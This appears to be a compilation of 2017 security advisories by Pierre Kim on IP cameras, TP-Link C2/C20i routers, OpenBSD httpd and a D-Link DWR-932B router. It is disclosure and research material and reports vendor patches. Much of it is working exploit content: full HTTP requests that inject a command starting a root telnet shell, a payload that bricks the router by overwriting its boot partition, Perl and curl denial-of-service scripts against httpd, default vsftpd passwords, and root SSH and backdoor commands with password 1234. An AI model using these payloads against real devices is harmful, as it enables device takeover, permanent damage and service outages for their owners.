I: Using Apktool 2.2.2
I: Checking whether sources has changed...
I: Checking whether resources has changed...
I: Building resources...
S: WARNING: Could not write to $HOME (/nonexistent), using /tmp instead...
S: Please be aware this is a volatile directory and frameworks could go missing, please utilize --frame-path if the default storage directory is unavailable
W: warning: string 'conectar' has no default translation.
W: warning: string 'str_ipcamfour' has no default translation.
W: warning: string 'user_pwd_no_show' has no default translation.
I: Copying libs... (/lib)
I: Building apk file...
I: Copying unknown files/dir...
k% openssl genrsa -out key.pem
Generating RSA private key, 2048 bit long modulus
..........................................+++
...................................................................+++
unable to write 'random state'
e is 65537 (0x010001)
k% openssl req -new -key key.pem -out request.pem
[...]
k% openssl x509 -req -days 9999 -in request.pem -signkey key.pem -out certificate.pem
Signature ok
subject=C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
Getting Private key
unable to write 'random state'
k% openssl pkcs8 -topk8 -outform DER -in key.pem -inform PEM -out key.pk8 -nocrypt
k% signapk certificate.pem key.pk8 object.p2pwificam.client/dist/object.p2pwificam.client.apk signed-object.p2pwificam.client.apk
k% ls -latr
total 21560
drwxrwxrwt 3 root root 140 Mar 7 08:25 ..
-rwx------ 1 nobody nogroup 8488199 Mar 7 08:25 apktool.jar
-rwx------ 1 nobody nogroup 2319 Mar 7 08:25 apktool
-rwx------ 1 nobody nogroup 6773051 Mar 7 08:25 object.p2pwificam.client.apk
drwx------ 9 nobody nogroup 220 Mar 7 08:33 object.p2pwificam.client
-rw------- 1 nobody nogroup 1675 Mar 7 08:33 key.pem
-rw------- 1 nobody nogroup 956 Mar 7 08:33 request.pem
-rw------- 1 nobody nogroup 1111 Mar 7 08:33 certificate.pem
-rw------- 1 nobody nogroup 1217 Mar 7 08:33 key.pk8
drwx------ 3 nobody nogroup 220 Mar 7 08:34 .
-rw------- 1 nobody nogroup 6787146 Mar 7 08:34 signed-object.p2pwificam.client.apk
signed-object.p2pwificam.client.apk
is ready to be used.
When using it, we see that:
The client indeed sends the system.ini
request within the UDP tunnel:
The camera indeed receives this request within the UDP tunnel:
Complete trace is:
It appears the pre-auth is not easily reachable within the cloud network.
This "cloud" protocol seems to be more a botnet protocol than a legit remote access protocol and has indeed weakness (everything in clear-text, i.e. an attacker can attack cameras within the cloud and leverage potential access to hack internal networks).
A lot of P2P ('Cloud') cameras are in fact using the same botnet protocols and the same infrastructure seemingly to be managed by a single entity.
Writing a PoC which bruteforces credentials of the remote camera is left as an exercise for the reader.
Update (Mar 10, 2017): @zh4ck analyzed the cloud protocol.
Due to difficulties in finding and contacting all the vendors, full-disclosure is applied.
I advise to IMMEDIATELY DISCONNECT cameras to the Internet. Hundreds of thousands cameras are affected by the 0day Info-Leak. Millions of them are using the insecure Cloud network.
These vulnerabilities were found by Pierre Kim (@PierreKimSec).
https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt
https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
TP-Link is a Chinese manufacturer of computer networking products such as routers and IOT devices.
Command Injections exist in the HTTP management interface up to the latest firmware version (0.9.1 4.2 v0032.0 Build 160706 Rel.37961n) of TP-Link C2 and C20i, allowing an authenticated attacker to get a remote shell with root privileges.
An attacker can DoS the httpd server and the firewall rules are too permissive by default on the WAN interface.
Using the so-called "Diagnostic" page, the attacker can run any command including telnetd, using the remote host field of the ping utility:
$(echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25)
While being authenticated (see the credentials in base64 format), sending this HTTP request directly will start a telnetd on the router on port 25/tcp without authentication:
POST /cgi?2 HTTP/1.1
Host: 192.168.1.1
Content-Type: text/plain
Referer: http://192.168.1.1/mainFrame.htm
Content-Length: 208
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
Connection: close
[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
dataBlockSize=64
timeout=1
numberOfRepetitions=1
host=$(echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25)
X_TP_ConnName=ewan_ipoe_d
diagnosticsState=Requested
An attacker can also use backsticks to execute commands:
`echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25`
Resulting access:
user@kali:~/tplink-0day-c2-and-c20i$ telnet 192.168.1.1 25
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
~ # ls
web usr sbin mnt lib dev
var sys proc linuxrc etc bin
~ # cat /proc/version
Linux version 2.6.36 (root@localhost.localdomain) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #1 Wed Jul 6 10:01:06 HKT 2016
~ # ls -la
drwxr-xr-x 9 176 web
drwxr-xr-x 13 0 var
drwxr-xr-x 4 38 usr
drwxr-xr-x 11 0 sys
drwxr-xr-x 2 193 sbin
dr-xr-xr-x 83 0 proc
drwxr-xr-x 2 3 mnt
lrwxrwxrwx 1 11 linuxrc -> bin/busybox
drwxr-xr-x 3 786 lib
drwxr-xr-x 5 776 etc
drwxr-xr-x 5 1274 dev
drwxr-xr-x 2 280 bin
drwxr-xr-x 13 177 ..
drwxr-xr-x 13 177 .
~ # cd etc
/etc # ls
vsftpd_passwd init.d SingleSKU_5G_RU.dat
vsftpd.conf group SingleSKU_5G_NZ.dat
ushare.conf fstab SingleSKU_5G_MY.dat
services default_config.xml SingleSKU_5G_KR.dat
samba TZ SingleSKU_5G_FCC.dat
resolv.conf SingleSKU_RU.dat SingleSKU_5G_CE.dat
reduced_data_model.xml SingleSKU_NZ.dat SingleSKU_5G_CA.dat
ppp SingleSKU_MY.dat RT2860AP5G.dat
passwd.bak SingleSKU_KR.dat RT2860AP.dat
passwd SingleSKU_FCC.dat MT7620_AP_2T2R-4L_V15.BIN
iptables-stop SingleSKU_CE.dat MT7610E-V10-FEM-1ANT.bin
inittab SingleSKU_5G_VN.dat
/etc # cd ..
~ # ls -la
drwxr-xr-x 9 176 web
drwxr-xr-x 13 0 var
drwxr-xr-x 4 38 usr
drwxr-xr-x 11 0 sys
drwxr-xr-x 2 193 sbin
dr-xr-xr-x 83 0 proc
drwxr-xr-x 2 3 mnt
lrwxrwxrwx 1 11 linuxrc -> bin/busybox
drwxr-xr-x 3 786 lib
drwxr-xr-x 5 776 etc
drwxr-xr-x 5 1274 dev
drwxr-xr-x 2 280 bin
drwxr-xr-x 13 177 ..
drwxr-xr-x 13 177 .
~ # ps
PID USER VSZ STAT COMMAND
1 admin 1060 S init
2 admin 0 SW [kthreadd]
3 admin 0 SW [ksoftirqd/0]
4 admin 0 SW [kworker/0:0]
5 admin 0 SW [kworker/u:0]
6 admin 0 SW< [khelper]
7 admin 0 SW [kworker/u:1]
44 admin 0 SW [sync_supers]
46 admin 0 SW [bdi-default]
48 admin 0 SW< [kblockd]
80 admin 0 SW [kswapd0]
82 admin 0 SW< [crypto]
130 admin 0 SW [mtdblock0]
135 admin 0 SW [mtdblock1]
140 admin 0 SW [mtdblock2]
145 admin 0 SW [mtdblock3]
150 admin 0 SW [mtdblock4]
155 admin 0 SW [mtdblock5]
160 admin 0 SW [mtdblock6]
172 admin 0 SW [kworker/0:1]
214 admin 0 SW [khubd]
245 admin 1060 S telnetd
251 admin 2932 S cos
252 admin 1060 S init
255 admin 2120 S igmpd
258 admin 2144 S mldProxy
345 admin 2932 S cos
346 admin 2932 S cos
347 admin 2932 S cos
366 admin 2088 S ntpc
371 admin 2096 S dyndns /var/tmp/dconf/dyndns.conf
374 admin 2096 S noipdns /var/tmp/dconf/noipdns.conf
377 admin 2096 S cmxdns /var/tmp/dconf/cmxdns.conf
433 admin 0 SW [RtmpCmdQTask]
434 admin 0 SW [RtmpWscTask]
445 admin 1244 S wlNetlinkTool
449 admin 1080 S wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/
465 admin 1244 S wlNetlinkTool
466 admin 1244 S wlNetlinkTool
489 admin 0 SW [RtmpCmdQTask]
490 admin 0 SW [RtmpWscTask]
503 admin 1064 S wscd_5G -i rai0 -m 1 -w /var/tmp/wsc_upnp_5G/
506 admin 2668 S httpd
518 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
521 admin 2084 S dnsProxy
526 admin 1068 S dhcpd /var/tmp/dconf/udhcpd.conf
551 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
552 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
553 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
554 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
555 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
556 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
557 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
558 admin 2668 S tmpd
561 admin 2556 S tdpd
569 admin 988 S dhcpc
578 admin 1036 S zebra -d -f /var/tmp/dconf/zebra.conf
594 admin 2088 S diagTool
625 admin 1136 S dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_hos
642 admin 2468 S ushare
658 admin 2468 S ushare
660 admin 2468 S ushare
661 admin 2468 S ushare
662 admin 2468 S ushare
663 admin 2468 S ushare
664 admin 2468 S ushare
666 admin 2468 S ushare
851 admin 1060 S /usr/sbin/telnetd -l /bin/sh -p 25
853 admin 1072 S /bin/sh
876 admin 1068 S /bin/sh
878 admin 2576 S cli
887 admin 1060 R ps
~ #
With this RCE, an attacker will be able to dump and modify the configuration by editing /dev/mtd3
.
The configuration is written in XML format and is located in the beginning (starting at offset 0x10
) of this MTD (64K).
If the attacker sends this string, the router will be unable to boot and will be bricked, by writing random characters on top of the u-boot partition:
POST /cgi?2 HTTP/1.1
Host: 192.168.1.1
Content-Type: text/plain
Referer: http://192.168.1.1/mainFrame.htm
Content-Length: 208
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
Connection: close
[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
dataBlockSize=64
timeout=1
numberOfRepetitions=1
host=$(echo 127.0.0.1; cat /dev/random > /dev/mtd0)
X_TP_ConnName=ewan_ipoe_d
diagnosticsState=Requested
While being authenticated (see the credentials in base64 format), sending this HTTP request directly will crash the remote HTTP server:
GET /cgi/ansi HTTP/1.1
Host: 192.168.1.1
Content-Type: text/plain
Referer: http://192.168.1.1/mainFrame.htm
Content-Length: 208
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
Connection: close
A resulting core file will be written in the router inside the /var partition of the attacked router:
/var # ls -la /var/
drwxrwxrwx 2 0 lock
drwxrwxrwx 2 0 log
drwxrwxrwx 2 0 run
drwxrwxrwx 7 0 tmp
drwxr-xr-x 3 0 Wireless
drwxrwxrwx 2 0 usbdisk
drwxrwxrwx 2 0 dev
drwxr-xr-x 5 0 samba
-rw-r--r-- 1 132 passwd
drwxrwxrwx 2 0 3G
drwxrwxrwx 2 0 l2tp
rwxrwxrwx 7 0 vsftp
-rw------- 1 348160 core-httpd-506-11-1482798208
drwxr-xr-x 13 177 ..
drwxr-xr-x 13 0 .
/var #
The default iptables rules are generated within /lib/libcmm.so
by writing commands inside /var/tmp/dconf/rc.router
and using system()
on this file.
/var/tmp/dconf/rc.router
:
#!/bin/sh
[...]
iptables -t nat -A POSTROUTING -j NATLOOPBACK_UPNP_SECCONN
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_DMZ
iptables -t nat -A PREROUTING -j PREROUTING_DMZ
iptables -t filter -A FORWARD -i br+ -j ACCEPT
iptables -t filter -A FORWARD -d 224.0.0.0/4 -j ACCEPT
[...]
By default, the SNMP port is open on every interface:
iptables -A INPUT -p udp --dport 161 -j ACCEPT
This can be verified with iptables on the router:
/proc # iptables -nL
Chain INPUT (policy DROP)
[...]
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:161
[...]
You can check too by reading the file /var/tmp/dconf/rc.router
.
Luckily, even if SNMP configuration can be modified using the hidden /main/snmp.html
webpage,
it appears the snmpd has been removed from the firmware image.
The binaries (/usr/bin/cos
, /usr/bin/tmpd
, /lib/libcmm.so
) are overall badly designed programs, executing tons of system()
and running as root.
/usr/bin/cos
is a daemon running as root and is launched at the end of /etc/init.d/rcS
(cos &
): it starts all the daemons using system (httpd ntpc dnsProxy dhcpd dhcpc snmpd upnpd diagTool voip_server voip_client pjsua cwmp wlNetlinkTool pppd dyndns igmpd zebra ushare smbd vsftpd telnetd, noipdns hostapd ipsecVpn radvd mldProxy racoon wscd...)
/usr/bin/tmpd
is a daemon running as root and listens to 127.0.0.1:20002
.
/lib/libcmm.so
is a library with all the main system functions (system reinitialisation [admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh], wifi configuration, debugging with TFTP[hi dutserver!], VPN configuration, ifconfig interfaces
, insmod /lib/modules/pptp.ko
, ...)
Vsftpd contains default weak passwords:
user@kali:~$ cat ./etc/vsftpd_passwd
admin:1234:1:1;guest:guest:0:0;test:test:1:1;$
user@kali:~$
Access:
admin:1234
guest:guest
test:test
T-P-Link plans to release a new firmware in February 2017, patching all listed vulnerabilities. T-P-Link wants to draw attention that in order to exploit two over three security vulnerabilities, an attacker would need to have valid credentials.
/lib/modules/ipt_STAT.ko
], huangwenzhong@tp-link.net [from /lib/modules/tp_domain.ko
]).These vulnerabilities were found by Pierre Kim (@PierreKimSec).
https://pierrekim.github.io/advisories/2017-tplink-0x00.txt
https://pierrekim.github.io/blog/2017-02-09-tplink-c2-and-c20i-vulnerable.html
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
The OpenBSD project produces a FREE, multi-platform 4.4BSD-based UNIX-like operating system.
The shipped HTTP daemon in OpenBSD (up to the latest version) is prone to 2 remote DoS.
The first vulnerability allows an attacker to consume all the CPU power from the remote server (CPU exhaustion).
The second vulnerability (Memory exhaustion) allows an attacker to consume all the RAM and the swap space on the remote side. Processes will be killed when running out of swap space. The system will be likely to freeze.
OpenBSD's httpd is prone to a SSL DoS with SSL renegotiation:
user@kali:~$ (sleep 1; while true;do echo R;done) | openssl s_client -connect 10.0.2.15:443
CONNECTED(00000003)
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify return:1
---
Certificate chain
0 s:/C=XX/ST=secure.example.com/CN=secure.example.com
i:/C=XX/ST=secure.example.com/CN=secure.example.com
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIDCjCCAfICCQC0tQxJqUqQTzANBgkqhkiG9w0BAQsFADBHMQswCQYDVQQGEwJY
WDEbMBkGA1UECAwSc2VjdXJlLmV4YW1wbGUuY29tMRswGQYDVQQDDBJzZWN1cmUu
ZXhhbXBsZS5jb20wHhcNMTcwMTI3MTU0MjMzWhcNMTgwMTI3MTU0MjMzWjBHMQsw
CQYDVQQGEwJYWDEbMBkGA1UECAwSc2VjdXJlLmV4YW1wbGUuY29tMRswGQYDVQQD
DBJzZWN1cmUuZXhhbXBsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCjIY7mMaNVLmPDA4ir59mgdQEM4TFTgz5cv9SqU4hQq0eVmpJkEfJPHErF
to5NdF2ZIqhL+F34GqZcCC8qO3xB33dAevENWWbA4KObpIybHr8bFeDYYl5GuaCO
hizmcffU3P1ztRNXB4sCTTQwkyry8ZUDaeINLGMb0HhFR9u5TJY6tSB0KMIuiBsH
1hEp8bNxUM046D0wkZkyIgM/or6uj5jRj33aYUn6ZiU8a6UKSAVZJLqziyNcQ0hA
64gS6oapUnMVYJIUDJynOhY5e8xZmD+2pB4NLTIxAEdSyQ4wQ4jBiRFVL+E68fuw
kASmrA4gAbSCO+lYBO8wCRiVOwOdAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAC1L
213ziHqFmC8nLWvvjyoHY2PRFS1ofrfciv+fpohn2GN+eVb8DGTo+KLZ910/PUPk
dzTa7eOlkvR1OG7BUlnia6pGQqizTodvzx0DGgl76k4VpEvJAOZ4f7Plry4qgr5Y
y3Fwym1k3DlNJ5Jqh8Vp2HETbqcovATsUHRS5t/oc6N2egq1DYVC5CdGRgvmmUl+
NBjKOASYoP8S4OQ51wMmXrygFqKcEkq4/GTUFEaamrbM/J+ChD9EqejSKzZ5owRh
74v10s30OylBdmfOLeyrMv5s6DnJRAdtFEH9Wg7sQDt1P3bGOsObVZlmHCtArl4k
m1nHRn8scAFP7QbHl34=
-----END CERTIFICATE-----
subject=/C=XX/ST=secure.example.com/CN=secure.example.com
issuer=/C=XX/ST=secure.example.com/CN=secure.example.com
---
No client certificate CA names sent
---
SSL handshake has read 1548 bytes and written 503 bytes
---
New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-GCM-SHA384
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : TLSv1.2
Cipher : ECDHE-RSA-AES256-GCM-SHA384
Session-ID: DA628A16EF4F067ED81E7A26EFA18D9A7D53CBC4ED54C8F6DC11E5E60FF76530
Session-ID-ctx:
Master-Key: 9235AFEBCF2A517E896A06CAA7A1AF916646DB5BB4C99B53A79627351C0FFB936EB863B0E50A67DF70A354773CF049BE
Key-Arg : None
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 300 (seconds)
TLS session ticket:
0000 - 49 f1 29 da 9e 08 f2 74-c6 f3 eb a1 c7 ee 40 bb I.)....t......@.
0010 - 96 75 54 c8 4f 32 53 7e-51 40 4e a8 e9 57 41 a5 .uT.O2S~Q@N..WA.
0020 - 73 3d a9 d6 b8 f7 a0 f8-15 cb be fb f1 4d d9 81 s=...........M..
0030 - a8 79 56 11 5d 05 32 05-49 df 2b f3 71 89 36 a1 .yV.].2.I.+.q.6.
0040 - 93 dc b9 b5 00 48 6f 94-b1 c5 78 f8 38 3c 63 29 .....Ho...x.8<c)
0050 - ed 45 a2 9e ae fc 7e d7-12 76 34 15 93 b1 3d 3d .E....~..v4...==
0060 - d7 0a 14 f1 01 a7 87 6c-50 93 25 24 5e 4f 1b fa .......lP.%$^O..
0070 - 51 03 4b fa 7e 23 83 99-51 f6 47 10 8c d1 0e 41 Q.K.~#..Q.G....A
0080 - 5a f7 a5 10 33 a7 37 5d-9b 5e b0 b6 19 e7 e2 61 Z...3.7].^.....a
0090 - ec ea 1c 72 3c 4a ec 11-0f 26 35 76 6e d9 cb 4d ...r<J...&5vn..M
00a0 - c7 f8 57 cb 50 f6 47 02-6b ca be cc 29 04 b7 dc ..W.P.G.k...)...
00b0 - e0 d1 cc 8e 5b f9 05 06-10 72 d7 b6 8e cf 42 6a ....[....r....Bj
Start Time: 1485536662
Timeout : 300 (sec)
Verify return code: 18 (self signed certificate)
---
RENEGOTIATING
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify return:1
RENEGOTIATING
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify return:1
RENEGOTIATING
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify return:1
RENEGOTIATING
[...]
From my test, 1 renegociation thread takes =~ 70% of CPU.
top on the main server (10.0.2.15):
14711 www 51 0 1104K 3636K run - 1:07 69.55% httpd
Multiple threads will eat all the available CPUs and will be likely to DoS the httpd:
14711 www 63 0 1192K 3708K run - 2:48 33.45% httpd
77207 www 63 0 1284K 3788K run - 1:33 33.06% httpd
78835 www 62 0 1232K 3808K run - 0:15 28.08% httpd
There is no trace of such attacks in the httpd logs.
An attacker can use tools from THC to perform SSL DoS too (openssl was the fastest solution out of the box): https://www.thc.org/thc-ssl-dos/.
A vulnerability exists in the openbsd HTTP daemon. It will result in using all the RAM and the swap space on the remote side, processes will be killed when running out of swap space. The system will be likely to freeze.
Requesting file using a file-range will result in having a httpd process doing a full malloc() of the requested file. It appears the entry is not correctly free()'d.
Hence, it's possible to DoS the remote server by requesting a file over and over by specifying a custom file range, ie:
GET /index.html HTTP/1.1
Range: bytes=1-
User-Agent: Pierre loves you
Host: fill-me-with-joy
This attack is successful if an attacker can identify a 'big' file (i.e. > 10MB) served by the remote HTTP server.
Here is a provided PoC (loosely based on KingCope's apache_killer.pl):
#!/usr/bin/perl -w use warnings; use IO::Socket; use Parallel::ForkManager; $numforks = 50; if ($#ARGV < 1) { &usage; exit; } while (1) { &killhttpd(); } sub usage { print "OpenBSD HTTP Remote Denial of Service (memory exhaustion) - @PierreKimSec\n"; print "usage: perl killobsdhttpd.pl <host> <remotefile>\n"; } sub killhttpd { print "ATTACKING $ARGV[0] [using $numforks forks]\n"; $pm = new Parallel::ForkManager($numforks); for (0 .. $numforks) { my $pid = $pm->start and next; my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "GET $ARGV[1] HTTP/1.1\r\nRange: bytes=1-\r\nAccept: */*\r\nHost: $ARGV[0]\r\nConnection: close\r\n\r\n"; print $sock $p; if (<$sock>) {sleep (0.5); $sock->close();} $pm->finish; } $pm->wait_all_children; }
An attacker can use curl to replicate the PoC:
curl --limit-rate 1 --continue-at 1 --header "Host: www.example.com" http://target/10mb.fs
Stopping the curl process and launching it again will produce one of the remote httpd to use more than 10MB of memory for each request (the size of the 10mb.fs is 10MB) and will DoS the http server and the OpenBSD system by exhausting all the RAM. The OpenBSD system will likely freeze within minutes.
PoC with curl (more effective than the perl version, it appears):
#!/bin/sh # ./$0 www.target.tld /path/to/file unset http_proxy unset https_proxy for i in $(seq 0 300) do echo sending a req curl --limit-rate 1 --continue-at 1 --header "Host: $1" http://$1/$2 2>/dev/null >/dev/null & sleep 0.5 pkill curl done while sleep 1 do echo "sending a req (slow)" curl --limit-rate 1 --continue-at 1 --header "Host: $1" http://$1/$2 2>/dev/null >/dev/null & pkill curl done
This attack works using HTTP and using HTTPS.
Current situation in the attacked server (SWAP is full and all the RAM is being completely used):
load averages: 7.11, 3.30, 1.38 foo.my.domain 10:26:41
39 processes: 6 running, 32 idle, 1 on processor up 0:03
CPU states: 0.0% user, 0.0% nice, 100% system, 0.0% interrupt, 0.0% idle
Memory: Real: 569M/961M act/tot Free: 21M Cache: 49M Swap: 2039M/2040M
PID USERNAME PRI NICE SIZE RES STATE WAIT TIME CPU COMMAND
48965 www 28 0 1345M 204M run - 0:05 0.00% httpd
43060 www 28 0 1281M 174M run - 0:05 0.00% httpd
91565 www 28 0 1153M 187M run - 0:04 0.00% httpd
63038 www 2 0 948K 4K idle kqread 0:00 0.00% httpd
We see the daemons (httpd and sshd) don't answer anymore:
user@kali:~$ 10.0.2.15 80
Trying 10.0.2.15...
Connected to 10.0.2.15.
Escape character is '^]'.
^]
telnet> q
Connection closed.
user@kali:~$ telnet 10.0.2.15 80
Trying 10.0.2.15...
Connected to 10.0.2.15.
Escape character is '^]'.
^]
telnet> q
Connection closed.
user@kali:~$ telnet 10.0.2.15 22
Trying 10.0.2.15...
Connected to 10.0.2.15.
Escape character is '^]'.
^]
telnet> q
Connection closed.
Connection closed by foreign host.
o The issue about memory exhaustion has been solved in two ways:
https://ftp.openbsd.org/pub/OpenBSD/patches/6.0/common/017_httpd.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/034_httpd.patch.sig
o High CPU usage is a well-known issue of client-initiated renegotiation. While this can cause higher than normal CPU usage, the processes are still able to service requests.
As httpd uses LibreSSL's libtls, a sane TLS API on top of libssl, we decided to disable client-initiated renegotiation for libtls servers in -current. This change was already planned and has now been committed to LibreSSL.
These vulnerabilities were found by Pierre Kim (@PierreKimSec).
https://pierrekim.github.io/blog/2017-02-07-openbsd-httpd-CVE-2017-5850.html
https://pierrekim.github.io/advisories/CVE-2017-5850-openbsd.txt
https://ftp.openbsd.org/pub/OpenBSD/patches/6.0/common/017_httpd.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/034_httpd.patch.sig
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
An update on the post "Multiple vulnerabilities found in the Dlink DWR-932B (backdoor, backdoor accounts, weak WPS, RCE ...)":
MITRE has provided me with CVE numbers.
Although D-link did not acknowledge all the vulnerabilities on its products, it released a new firmware on Oct 19, 2016 (DWR-932_fw_revB_2_03_eu_en_20161011.zip) that should fix several RCEs and backdoors. According to D-Link, there is no vulnerability as long as "potential attackers cannot connect to the secure wi-fi network"[1] - does it mean the product is secure as long as there are no attackers?
A reader will note that D-Link did have a full advisory with PoCs for more than 100 days while taking no actions before public disclosure and he/she will surely be able to verify the vulnerabilities by downloading an affected firmware and reversing the binaries (see my blog post for details).
D-Link did not make any effort to contact the security researcher even after the initial advisory was published, but it posted its official answers and patches on their website that the security researcher found "by chance".
However, the corrected firmware still appears to have the backdoor in execution. The only security patches they made were:
/sbin/telnetd
to /sbin/xxlnetd
(so the appmgr
backdoor cannot be used by an attacker),47980/tcp
or to port 999999999/tcp
instead of 22/tcp
(still with root/1234
).The appmgr
backdoor is still present and running but ineffective (as /sbin/telnetd
doesn't exist anymore):
root@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889 <- will NOT start a telnetd on port 23/tcp
because /sbin/telnetd was removed
Interesting fact: Starting Dropbear with port 999999999/tcp
will result in dropbear using the port 51711/tcp
instead (999999999 & 0xFFFF
).
So, an attacker can still use the backdoor access to continue to root the device. With SSH:
root@kali:~$ ssh -l root -p 47980 192.168.1.1 <- will provide a root shell with "1234" as a password.
OR
root@kali:~$ ssh -l root -p 51711 192.168.1.1 <- will provide a root shell with "1234" as a password.
Following the reaction from D-Link and the lack of quality of the security patches, I finally advise users to trash their affected routers and I encourage security researchers to review security patches provided from D-Link instead of blindly trusting them.
Note that future 0day vulnerabilities regarding D-Link products may be released at my will without coordinated disclosure ("Full disclosure").
I would like to thank Gianni Carabelli for finding the password of the zip file provided by D-Link.
root@kali:~# wget ftp://anonymous:lolz@ftp.dlink.eu/Products/dwr/dwr-932/driver_software/DWR-932_fw_revB_2_03_eu_en_20161011.zip
root@kali:~# sha256sum DWR-932_fw_revB_2_03_eu_en_20161011.zip # in case of a modification of this file by D-link
fb721979b235c9da9a9b8e505767ce04410b8c7f5035a73ac2c4cc0b9cada3bd DWR-932_fw_revB_2_03_eu_en_20161011.zip
root@kali:~# dd if=DWR-932_fw_revB_2_03_eu_en_20161011.zip of=firmware.zip bs=64 skip=1
993106+1 records in
993106+1 records out
63558829 bytes (64 MB) copied, 1.29239 s, 49.2 MB/s
root@kali:~# mkdir output && cd output && 7z x -pbeUT9Z ../firmware.zip
root@kali:~/output# 7z x -pbeUT9Z firmware.zip
7-Zip 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,1 CPU)
Processing archive: ../firmware.zip
Extracting 02.03EU
Extracting 2K-cksum.txt
Extracting 2K-mdm-image-mdm9625.yaffs2
Extracting appsboot.mbn
Extracting mba.mbn
Extracting mdm-image-boot-mdm9625.img
Extracting mdm-image-mdm9625.yaffs2
Extracting mdm-recovery-image-boot-mdm9625.img
Extracting mdm-recovery-image-mdm9625.yaffs2
Extracting mdm9625-usr-image.usrfs.yaffs2
Extracting qdsp6sw.mbn
Extracting rpm.mbn
Extracting sbl1.mbn
Extracting tz.mbn
Extracting wdt.mbn
Everything is Ok
Files: 15
Size: 145018347
Compressed: 63558829
root@kali:~/output# ls -latr
total 141640
-rwx------ 1 root root 7840 Jul 18 2014 wdt.mbn
-rwx------ 1 root root 266648 Jul 18 2014 tz.mbn
-rwx------ 1 root root 262144 Jul 18 2014 sbl1.mbn
-rwx------ 1 root root 147432 Jul 18 2014 rpm.mbn
-rwx------ 1 root root 42338681 Jul 18 2014 qdsp6sw.mbn
-rw------- 1 root root 3823616 Jul 18 2014 mdm-recovery-image-boot-mdm9625.img
-rw------- 1 root root 3823616 Jul 18 2014 mdm-image-boot-mdm9625.img
-rwx------ 1 root root 365464 Jul 18 2014 mba.mbn
-rwx------ 1 root root 69872 Jul 18 2014 appsboot.mbn
-rw------- 1 root root 14733312 Oct 10 23:16 mdm-recovery-image-mdm9625.yaffs2
-rw------- 1 root root 25869888 Oct 10 23:16 mdm-image-mdm9625.yaffs2
-rw------- 1 root root 25869888 Oct 11 02:37 2K-mdm-image-mdm9625.yaffs2
-rw------- 1 root root 27439104 Oct 11 03:19 mdm9625-usr-image.usrfs.yaffs2
-rw------- 1 root root 842 Oct 11 03:19 2K-cksum.txt
-rw------- 1 root root 0 Oct 11 03:19 02.03EU
drwx------ 2 root root 340 Nov 10 17:07 .
drwx------ 3 root root 80 Nov 10 17:24 ..
root@kali:~/output# mkdir 1 && cd 1 && unyaffs ../mdm9625-usr-image.usrfs.yaffs2
Only etc/versions
was updated in mdm9625-usr-image.usrfs.yaffs2
. No useful information.
Diff is:
1c1
< fw_version=02.02EU
---
> fw_version=02.03EU
7c7
< model_name=beUT9Z
---
> model_name=beUT9Z#
mdm-recovery-image-mdm9625.yaffs2
was unchanged compared to 2.02 version.
Let's dig 2K-mdm-image-mdm9625.yaffs2
:
